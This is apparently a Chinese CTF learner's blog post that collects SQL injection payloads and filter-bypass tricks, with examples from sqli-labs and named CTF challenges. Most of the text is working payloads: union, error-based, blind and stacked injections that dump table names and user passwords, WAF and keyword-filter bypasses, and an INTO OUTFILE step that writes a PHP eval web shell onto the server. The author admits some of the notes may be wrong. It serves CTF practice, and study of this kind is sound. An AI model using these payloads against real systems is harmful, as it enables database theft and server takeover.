0%

SQL injection

SQL injection

对SQL注入的一些常见payload和不同类型注入的总结

基础无过滤注入

union联合注入

这种注入需要有回显位,使用联合注入union select,主要注入参数需为一个错误指,才能显示联合查询后面的内容,使用order by语句或者直接尝试来探取行数进行回显。
使用group_concat聚合函数将查询结果一次性输出,提高效率。
以sqli-lab的less1为例,payload为:
数据库名:
?id=-1' union select 1,2,database() --+
获取全部数据库名
id=-1 union select schema_name from information_schema.schemata --+
表名:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
列名:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
数据:
id=-1 union select 1,2,group_concat(username,0x3a,password) from users --+
此处group_concat函数中间的参数为一个字符,将username和password分割开来,便于观察

[GXYCTF2019]BabySQli

题目利用了union联合注入,过滤了括号,绝杀,base32+base64给出提示select * from user where username = '$name'
过滤了括号使得绝大多数注入方式无效,测试得知有一个名为admin的用户存在,union select在该查询内容查询不到时会把输入内容作为查询结果返回,因此构造name=a' union select 1,'admin','md5(passwd)'&&pw=passwd即可,题目提示了password的校验是通过对比MD5,所以我们以上述方式构造,返回的查询结果即为我们构造的结果,所以只要随便提交一个passwd和与其对应的md5就能成功登陆了

基于错误的注入

这种类型就是会把SQL语句的错误给返回出来,那么可以通过报错信息来获得敏感数据,常用函数为extractvalueupdatexml,用concat函数将待查询语句聚合为该函数的第二个参数,由于我们查询的数据不符合Xpath语法,产生报错获取信息
此时需要查询的id为真,需要预先知道一个用户名(admin)或id(1)
使用格式为:
?id=1'and extractvalue(1,concat(0x7e,(查询语句) )) --+
报错显示可能存在长度限制,使用not in语句查询剩余值
同样sqli-lab中less1为例
多年不写SQL注入已经忘了这个函数怎么用的了。。。。concat一个0x7e,也就是~,能保证解析出问题然后把保存回显出来
payload:?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name')))) --+
updatexml和extractvalue差不多,但是updatexml比extractvalue多一个参数,随便写个啥就行
updatexml(1,concat(0x7e,(查询语句),2))

[RCTF2015]EasySQL

一道二次注入加报错注入的题,题目过滤了空格和<>不等号,还有一些无关紧要的东西,updatexml和extractvalue可用,新奇点在于过滤了空格和不等号后,not in和不等号无法使用,而报错注入输出的错误信息长度是有限的,所以会出现获取不到有效信息的问题,这里就有两个新知识点

SQL查询也支持正则匹配,使用方式为 where column/table_name regexp (pattern),利用正则表达式就可以获取我们想要的内容,但是如果单条消息过长导致的输出不全,正则匹配也没有用,这时可以逆序输出,使用reverse函数即可
把今天用的几个payload补上来,括号数量不要输错了

1"&&extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'&&(column_name)regexp('^r'))))#
1"&&extractvalue(1,concat(0x7e,reverse((select(group_concat(username))from(users)where(username)regexp('^f')))))#

双查询注入

标准公式union select 1 from (select count(),concat(floor(rand(0)*2),(注入语句))a from information_schema.tables group by a)b --+
这个方法具有一定的随机性,爆出来的数据取决于rand()函数,并且是以报错的形式显示出来。不怎么实用,原理如下
https://www.cnblogs.com/laoxiajiadeyun/p/10278512.html

盲注入

基于时间和bool类型的盲注入界面没有错误回显,也没有查询显示位,bool注入一般只有一个标志位确认你目前的语句是否正确
时间类型的注入可能页面无任何回显,使用sleep()函数延迟判断结果是否正确
此类注入手工注入十分麻烦,需要用一定的python基础写脚本跑比较好
常用语句有if length left limit
left(arg,n)取arg左边n位,用if判断
limit x,1 从第x位(从0开始)取1个

基于bool的盲注入

样例payload:
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
手工注入的时候可以不用等于号,用><号加快注入速度
这方面还有许多奇怪函数,待填坑

基于时间的盲注入

样例payload:
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+
多一层if语句,判断正确则调用sleep函数,页面存在明显延迟
还有一个替代sleep的函数,BENCHMARK(count,expr),执行expr count次,可以通过执行简单的语句几千次来实现延时
简单讲一下if语句,if需要三个表达式,执行效果类似于C++中的 a=b?a:b语句

使用update语句的注入

查询语句为常为
UPDATE users SET password = '$passwd' WHERE username='$username'

update后可见被更新数据的注入

将passwd改为',username=database() #即可将所有的用户名修改为database(),如果能观察到被修改的数据,即可完成注入,update语句中的select经常会遇到一些不期待的奇怪问题,如需嵌套两层select,并需要给其加上一个别名
例如:(select description from(select * from users where username=0x61646d696e)a)

有语法错误回显的注入

该类型注入通常会对username进行强过滤,需要从password进行突破。一般是基于报错进行注入,常用函数为extractvalueupdatexml,操作在最后一步爆数据时略有差异。
sqli-lab的less17为例:

  • 使用extractvalue函数:passwd=1' and extractvalue(1,concat(0x7e,(select password from users where username='admin'))) --+

此时报错 You can't specify target table 'users' for update in FROM clause
查一下之后解决方案为多加一层select,变为passwd=1' and extractvalue(1,concat(0x7e,(select password from (select password from users where username='admin'))) --+

再次报错Every derived table must have its own,需要给表加一个别名
payload为1' and extractvalue(1,concat(0x7e,(select password from (select password from users where username='admin')as test))) --+
此时注入就成功了。

有时还会报一个返回的数据超过一行的错误,Subquery returns more than 1 row 只需在where子句后再加上一句limit 0,1即可解决

  • 使用updatexml函数
    1' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+
    同样遭遇上述报错,最终payload为1' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') test),0x7e),1) --+

导出文件型注入

本题来源为sqli-lab的less7
原理是利用SQL注入来获取getshell

这里还是先把正规做法过一遍,首先是得到文件的路径,一般来说默认路径为var/www/html
也有说不同服务器的默认路径有别,如下

winserver的iis默认路径c:\Inetpub\wwwroot
linux的nginx一般是/usr/local/nginx/html, /home/wwwroot/default, /usr/share/nginx, /var/www/htm等
apache 就是 …/var/www/htm,…/var/www/html/htdocs
phpstudy 就是 …\PhpStudy20180211\PHPTutorial\WWW
xammp 就是 …\xampp\htdocs

这里是本地PHPstudy搭建的环境,所以payload路径如下:
http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,2,'<?php eval($_POST['a']);?>' into outfile 'D:\PHPStudy\PHPTutorial\WWW\sqli-labs-master\1.php' --+
into outfile将写入脚本(这里需要预先知道正确的物理路径才能写入),而load_file将读取文件
写入PHP一句话,使用中国菜刀连上即可,需要使用union select,select语句有执行功能

还有一题为网鼎杯的fakebook
这个题的过滤不够完善,使得我们可以使用MySQL的load_file函数读取flag
该题报错泄露了服务器的目录,为标准的/var/www/html,就可以使用load_file函数对文件进行读取,注意.php文件在读取后<>会被视为注释,需要查看网页源码才能看到
贴一个博文
https://www.cnblogs.com/blacksunny/p/8060028.html

ps

这个方法需要SQL开启secure-file-priv写文件权限,否则不能写入文件。
可在SQL设置中将secure-file-priv参数设置为“”即可
如果引号中是一个文件路径的话,导入/出的文件路径会再这个路径下。

基于错误的头部注入

和之前的基于错误的注入区别不是很大,关键在于注入点由id,username,password转到了user-agent,cookie或者是referer等数据包请求头,可通过burp suite抓包修改。使用上述的两个函数引发错误获取信息,或者是直接注入

使用insert语句的注入

sqlil-lab的less18将用户的UA插入了数据库,使用的是INSERT语句INSERT INTO 'security'.'uagents' ('uagent', 'ip_address', 'username') VALUES ('$uagent', '$IP', $uname)
这里不好使用注释符将后面内容注释掉,所以我们使用之前提到的办法用and '来闭合引号
样例payload:
User-Agent:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

基于错误的cookie注入

cookie是服务器用来辨别访问者的一段小文本,所以当我们向页面发起请求时,若cookie尚未过期,服务器即可通过cookie识别我们的身份,既然如此,就存在着服务器通过cookie查询数据的操作,我们便可通过cookie进行注入

sqli-lab的less20为例
在后台代码存在当用户发起访问且未进行post数据(登录操作)时,及用户纯粹的再次访问网站时,进行了数据库查询。
所以这里要求的是!isset($_POST[‘submit’]),这个地方我困惑了好久

我们在bp抓包之后不进行post数据,直接发起访问,系统就会将我们的cookie放入数据库进行查询,此时我们使用修改过的cookie进行注入
这里cookie接受的参数名称为uname,题目中给出了一定的提示
样例payload:
Cookie: uname=admin' union select 1,2,database()--+
在less21提出了一个base64加密cookie的操作,唯一的功能就是–+这个注释不能用了,应该是提交的时候进行了URL编码,+被换成空格去掉了,在进行编码解码时就丢失了,要改成#进行注释

limit注入

2020国赛决赛做到的一个题,一开始以为是limit注入,去学习了一波,结果并不是
p神博客文章
https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
用了一个新的语句PROCEDURE ANALYSE,这个语句是用来做数据分析的(?但是这里拿来注入)
analyse接受两个参数,第一个可以用来执行命令,放一个p神的payload
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
括号套的人头晕
还有个新东西BENCHMARK,接受两个参数,运行次数和命令语句
运行n次指定的指令,运行次数够大之后就可以代替sleep进行延迟
比如BENCHMARK(5000000,SHA1(1))

整数溢出注入

也是bool注入的一种类型,通过最大数字+1导致整数溢出报错进行布尔判断,+1加的就是一个判断的结果true为1false为0
同详见RoarCTF2020wp

进阶有过滤注入

无过滤在找到注入点之后基本都能被SQLmap给跑出来,一切当然不会这么简单,所以这里还有各种各样的有过滤的注入,比如过滤注释符,过滤and or等关键字,过滤逗号括号空格等等
且该种注入也会和上述基础注入类型结合,出现过滤了注释符的盲注入之类的,很容易让人困惑

过滤注释符

SQL注入需要用注释符注释掉后面的内容,使得我们插入的内容得以执行,当注释符被过滤时,我们可以通过再构造一个and '来重新闭合引号,而不是使用注释符来注释引号。
样例payload:
?id=-1 union select group_concat(table_name) from information_schema.tables where table_schema=database() and '1'='1
此时经常构造and '1'='1 where '1'='1的语句,既能闭合引号,又完成了对所有数据的查询

国赛碰到的题,过滤了/**/,但是没有过滤两个分开的内容,注入语句为select * from fake_flag where id=$id limit 0, $limit
结果就是id处整一个/*,limit处整一个*/,把中间的部分处理掉了,太牛逼了

二次注入

二次注入是防御者对用户输入的恶意数据进行转义防止注入,但恶意数据在存入数据库(比如注册的用户名)后又恢复为原样,导致再次从数据库中取出时产生的SQL注入sqli-lab的less24为例
就本题而言,注册的用户名即为进行注入的语句,update的查询语句为
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
这道题的目前解为通过恶意的用户名admin' #注释掉查询语句后半部分内容,直接修改admin的密码进行登录
可以尝试使用sleep等函数,使用盲注尝试暴库
这里有一篇关于本题写的比较好的文章
https://www.jianshu.com/p/3fe7904683ac

过滤空格

替换方案:url编码 %20=空格,%09=tab %0a=换行 %0b=竖直tab %0c=新的一页 %0d=return %a0=Linux下解析为空格,Windows下为不可见字符 皆可替换
/**/注释符代替空格
()括号绕过空格,这里要注意括号括起的范围,防止查询语句出错
样例payload:
?id=0'union%3Aselect(1),(database()),(3)or(1)='1
这里不能将select后面的语句全部用括号括起来,而是需要每个用括号括起来之后用逗号连接

部分位置的空格绕过

\N 似乎等价于NULL
select * from users where id=\Nunion(select 1,1,1);
浮点数也可
select * from users where id=1.1union(select 1,1,1);
运算符号
select * from users where id=1.1union(select+1,1,1);
select * from users where id=1.1union(select-1,1,1);
!,~等符号均可

补一个调了好久的payload

select(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())from(1))));

(select(ascii(substr((查询语句)from(1))))=a);
顺带没用上逗号

bypass infromation_schema

常出现在对or的限制中,同时躺枪的还有order,password等语句

innoDB引擎绕过

该库在MySQL版本大于5.6.x的情况下存在两个表innodb_index_stats,innodb_table_stats
数据库版本可以用@@version或者version()查看
union select group_concat(table_name) from mysql.innodb_table_stats where database_name=database();获取表名
使用innodb_index_stats获取库名

sys库绕过

innoDB绕过需要开启innoDB引擎,而mysql默认配置中该引擎是关闭的
使用sys库获取数据的话需要用户权限为root,可通过user()进行查看

使用sys.schema_auto_increment_columns库可以获取带有自增id列的表的表名
使用sys.schema_table_statistics_with_buffersys.x$schema_table_statistics_with_buffer库可以获取任意表名(大概?)

join无列名注入

先记一下payload
获取第一个列名
?id=-1' union all select*from (select * from users as a join users b)c
获取后续列名
?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+

已知表名情况下爆破列名

利用(select 1,2,3,4,5 union select * from table_name)alias
此处需要反引号不被过滤
获得一个将所有列名用数字表示的表,然后select `3` from (select 1,2,3,4,5 union select * from table_name)alias即可将第三列无需列名的选出
结合实际情况的payload
select author_id,title from posts where author_id= -1 union select 1,(select group_concat(`3`) from (select 1,2,3,4,5 union select * from table_name)alias where 1='1' limit 0,1) limit是保证查出来的数据只有一个
select 1,2,3,4,5即该表拥有五个列,group_concat将整个列的数据拼接起来,where 1=’1’为无效语句,用来闭合引号

逗号被过滤时多取几个别名,可以不用逗号
select a from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from table2)x;

参考链接

在不知道 MySQL 列名的情况下泄露数据的 SQL 注入技巧
聊一聊bypass information_schema

异或盲注入

除去union联合注入,使用异或(^)盲注入也是一种办法
这种方法比较容易用括号拼出来语句,比较使用,但是注入时需注意符号优先级,比如在^面前,大小于号和等号的优先级是不一样的,最简单的解决方案就是把该异或判断里面的所有内容再用一个括号括起来即可
样例payload:
?id=1'^(left((select(database())),1)<'q')^'1
纯用括号的payload:
?id=1'^(left((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),9)='emails,re')^'1
用group_concat函数把所有的表名连接起来,以逗号分隔,不需使用limit,即可直接猜解表名
一定要注意这里要把后面注入的语句整体用括号括起来!!!不然就会存在异或优先级不同导致注入失败

异或注入测试被过滤字符

?id=1'^length('测试字符串')>0 #即可测试被测试字符串是否被替换为空,进行被过滤项的测试

select和union被过滤的注入

遇到只是去掉第一次出现的select和union时双写即可selselectect
有的只过滤全大写或全小写,大小写混搭即可UniOn sEleCT
括号打断union select,即union(select xxxx)

内联注释

内联注释的作用就是时其他数据库将该内容视为注释,而MySQL则将该内容当做正常代码处理,提高MySQL与其他数据库的兼容性,同时内联注释中可以添加数字作为版本号,使得该语句只能在目前版本大于等于该版本号的情况下才能运行,可以此绕过部分检测
内联注释格式为/*!xxxxxx*/
/*!union*/ /*!50010select*/就可以绕过对union select的检测

堆叠注入不使用select

刚做了一个题,没得select我是真的没办法,见下文堆叠注入

逗号被过滤的注入

主要存在于盲注使用left,limit,substr函数等场合
limit使用offset绕过
样例payload:
select * from user limit 1 offset 0
substr()和mid()函数可以使用from to的方法绕过逗号
样例payload:
select substr(database() from 1 for 1) 这里for 1指截取一位,实际上不要也可以(因为有时候or也没得了)

join函数辅助注入

需在可使用union联合注入时使用,主要用于逗号被过滤的情形
使用join语句可以将多个表拼接到一起进行查询,这时每个表需要设置一个别名,且注意查询数要与列数一致,假设有三列,样例payload:union select * from ((select 1)a join (select 2)b join (select database())c),一个select语句内可用group_concat等函数进行更深层次的查询
马师傅用的一个payload
UNION SELECT * from ((select+1)a join (select 234)b join(select 3)c join(select group_concat(mdzz.3) from (select * from (select * from (select 1)asf join (select+2)adf join (select 3)asdnfio)ooo union select * from fl111aa44a99g)mdzz)d)
(说实话我没看懂为什么套了这么多层union select,我第一层直接查flag不就完了吗)

大小于号被过滤的注入

同样常见于盲注,需要进行比较加快判断(也可以自己写脚本遍历就不怕了)
greatest函数和least函数返回参数列表中的最大/小值
所以一个比较字符是否大于64的语句可以写为:
greatest(ascii(substr(database(),0,1)),64)=64

等号被过滤的注入

等号可以直接用like语句替换,也可以使用<>不等号进行代替

括号()被过滤的注入 | union盲注入

当括号被禁用时,SQL的函数便全部不能使用了,这个时候可以使用union盲注入,利用order by排序查询结果进行判断,具体使用看那篇[HBCTF]大美西安

具有WAF防御的注入

应该是有两个服务器,一个外层服务器将数据进过判别后再提交至内部服务器进行处理,由于两个服务器对同名参数的处理不同,可以创建两个同名参数,一个是正常数据另一个是恶意数据进行WAF防御的绕过
由于环境问题没有自己测试,只能贴一个文章了
https://blog.csdn.net/nzjdsds/article/details/77758824

引号被转义

1.宽字节注入
这种情况适用于取消用于打破闭合的单个引号的转义,在gbk编码中一个汉字占两个字节,utf-8中一个汉字占三个字节
在gbk字符集中,当第一个字符超过128时,则认为接下来两个字符为一个宽字符,我们可以用这个办法将增添的引号给变成一个汉字从而绕过。
构造?id=1%aa'即可
这里我犯过一个很智障的毛病,在post提交数据的时候直接输入了%aa妄图绕过,结果当然是出问题,正确方法是通过bp抓包修改,这样才能urlencode
2.十六进制编码代替
当爆列名时存在一个叫’user’的表名且引号被转义时,我们可以使用它的十六进制进行替换,即将user变为0x7573657273即可

编码绕过

据说功能十分强大,具体编码有hex,urlencode,ASCII之类的
例如:CHAR()函数进行拼接:CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)即可获得’test’字符串

urlencode绕过waf

waf可以理解为服务器前的一个屏障,负责过滤输入的内容,而有的waf是直接提取我们的query_string,这种PHP性质的检测不会对我们的urlencode的数据进行解码,我们就可以以urlencode的形式进行绕过
例如:u%6eion就可以进行对union的绕过

二次解码绕过

有的网站存在着对url的二次解码,当我们的请求发送到服务器时,会发生第一次url解码,若此时还存在其他设置(如开启GPC),则会存在二次解码,此时我们可以使用%2527这样的语句通过二次解码构造注入
%25url解码为%,%27url解码为’

MySQL字符集绕过

MySQL默认字符集为Latin1,当用户端的字符集为utf-8时,存在一个字符集转换过程,此时,不完整的utf-8编码会被舍弃,可以绕过类似于'username'==='admin'的条件。
具体情况贴一个博文https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html

堆叠注入

SQL语句后台查询时以;为分隔,如果我们在一次查询中使用分号隔开语句,即可实现执行两个语句。
堆叠注入有时候不能得到返回值,所以需要用sleep之类的语句进行延时验证。但一般无法使用select时才会使用堆叠注入,因此可以使用DO语句进行执行,DO语句结束一个专门执行表达式的语句,在执行表达式上作为SELECT的替代品,eg:DO sleep(5)

堆叠注入和union select的区别

union injection (联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句

因为如果查询语句为select * from users where username = $username,使用union select就仍处于select语句下,而使用堆叠注入则可以重开一个语句,进行insert,delete等操作。

堆叠注入的局限性

并不是所有的数据库都允许在一行中执行两个查询语句,某些API也会禁止或者开启这项功能,MySQL的某些版本可以执行堆叠注入,而Oracle就不允许这种操作,并且由于权限问题你也不一定能对数据进行修改

不使用select语句进行注入

本题来自强网杯2019随便注

法1

堆叠注入之后,我们可以执行任意语句,所以可以使用show来对数据进行展示
show database show tables/cloumns from xxxx就可以直接对数据进行查询
最后一步没法使用show来进行查询了,而这里的语句应该为select * from words where id=,显示位由word表中的数据占据,且新开语句中无法使用select,这时我们将现在的表改名为words,还需将列对应修改为id和data,就能通过正常查询得到数据

`是SQL中的转义字符,当我们的表名可能引起冲突时需要用`将其包围,保险起见可以将所有的表名用此包围
修改语句要在一次内做完,不然你先把words给改掉了,下次查询的时候先执行的select语句报错,后面还想把1919810931114514改成words就没戏了,同理还有对应的id和data
修改语句如下:rename table `tablename` to `new_tablename`
增加数字列
alter table `tablename` add `columnname` int unsigned not Null auto_increment primary key
增加字符列
alert table `tablename` change `columnname` `newcolumnname`
抄一个完整的payload
?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

这个句子将flag改为id且设置了其类型为可变字符串,设置字符集为utf-8
由于我们并不知道现在的flag是多少,所以我们以?id=1’ or 1=1的形式查询到flag

法2

玄妙的拼凑语句执行
use information_schema;set @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');PREPARE stmt1 FROM @sql;EXECUTE stmt1;--+
感觉更加万能了,可以随意绕过

[GYCTF2020]Blacklist

堆叠注入,强网杯随便注强化版,给了一个超级过滤,直接把上面的所有方法给ban了
preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
拼凑语句需要set和prepare,挂了,利用现有查询语句查需要rename,挂了,基本注入需要select,挂了,全挂。人傻了
最后师傅说用handler语句代替select堆叠注入,搜不到这个语句,最最最后直接搜wp才搜到这个东西。
这个语句是mysql独有的,其他数据库并不能使用

handler table_name open;
handler table_name read first/next; #读第一行数据或读下一行数据

可以先用show tables;之类的语句摸清楚结构,然后用handler查询
payload: 1';handler open FlagHere;handler FlagHere read first;#

修改SQL配置的新知识

以SUCTF的easy_sql为例,这里后台的查询语句为select $query || flag from Flag(大佬wp说是判断出来了,我是判断不出来),测试之后发现注释符被过滤,or和union等常用语句被过滤,试了半天最后发现是整形注入,差点忘了这茬,但是可以使用堆叠注入。爆到列为Flag之后没法继续做了,这时拿出我们的新知识,修改||或运算符为连接符,就可以直接把flag给带出来啦。
payload 1;set sql_mode=pipes_as_concat;select 1

这个题没出完,使用出现了很多低级的非预期解,比如*,1使得查询语句为select *,1 || flag from Flag这里1和后面的或结合,select *就获取了全部数据

ps

SQL字符串弱类型比较和PHP字符串和数字弱类型比较一致

order by注入

该类注入的注入语句为$sql = "SELECT * FROM users ORDER BY $id
此时我们使用?id=1 desc?id=1 asc(升降序)观察结果有无变化,判断是否存在order by注入。
order by 不同于的我们在 where 后的注入点,不能使用 union 进行注入

rand()注入

?id=1 and rand(true) 或 rand(false)时,返回的结果是不一致的,且重复使用rand(true)的结果不会变化,因此可以使用rand()函数进行bool盲注入

时间盲注入

order by语句后可以以?id=1 and if()这样的形式接一个语句,(不知道为什么)无论if结果真伪与否都不会影响order by的结果,但是我们这里可以使用时间盲注产生延迟

procedure analyse报错注入

是报错注入的一种,使用方法procedure analyse(extractvalue(.....))

聚合函数注入

这里也可以使用聚合函数进行注入?id=1' and (select....聚合注入语句)

导入木马注入

order by后可以使用?id=1' into outfile '路径' lines terminated by 0x....0x后为被16进制转码的文件,将木马写入该路径下

SQL弱类型

在整型类变量作为查询内容时,一大过滤方法是直接将数据转化为整形。字符串转数字的规则同PHP,即以数字开头则转换为开头数字,否则为0

PDO desc注入

待研究

参考链接

WriteUp | Magic key
PDO场景下的SQL注入探究
https://www.cnblogs.com/wfzWebSecuity/p/12049920.html

PostgreSQL注入

与mysql存在一点的语法差异,where后面一定要跟bool表达式,pg_sleep返回的是void,就不能直接用,详见RoarCTF2020的SQL注入wp

MySQL 8.0特性

引入了元组比较TABLE,VALUE等语句,可以不需要列名不需要SELECT语句的进行注入,也详见RoarCTF2020的wp

SQL中的字符截取函数

Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)

参考链接

https://www.jianshu.com/p/a63912d4b5ad

END

这篇文章一开始都是我刚入门CTF写的了,零零散散记录了很多乱七八糟的trick,可能存在很多当时没懂乱写的东西,也就是谬误,但是现在也懒得重新再排版整理了。。。
说到底,当SQL预处理出现的时候,SQL注入基本上就不存在了,但是马师傅也曾经和我说过SQL预处理并不能保证绝对安全,在特殊位置的字段经过了预处理仍可能产生漏洞,不过到了这个层面,使用预处理基本上就与SQL注入无缘了
而实际实战中对SQL注入的过滤,基本上要么一个预处理封死,要么年久失修根本不设防,如上的trick们也就供大家玩CTF的时候作为一个小小的技巧罢了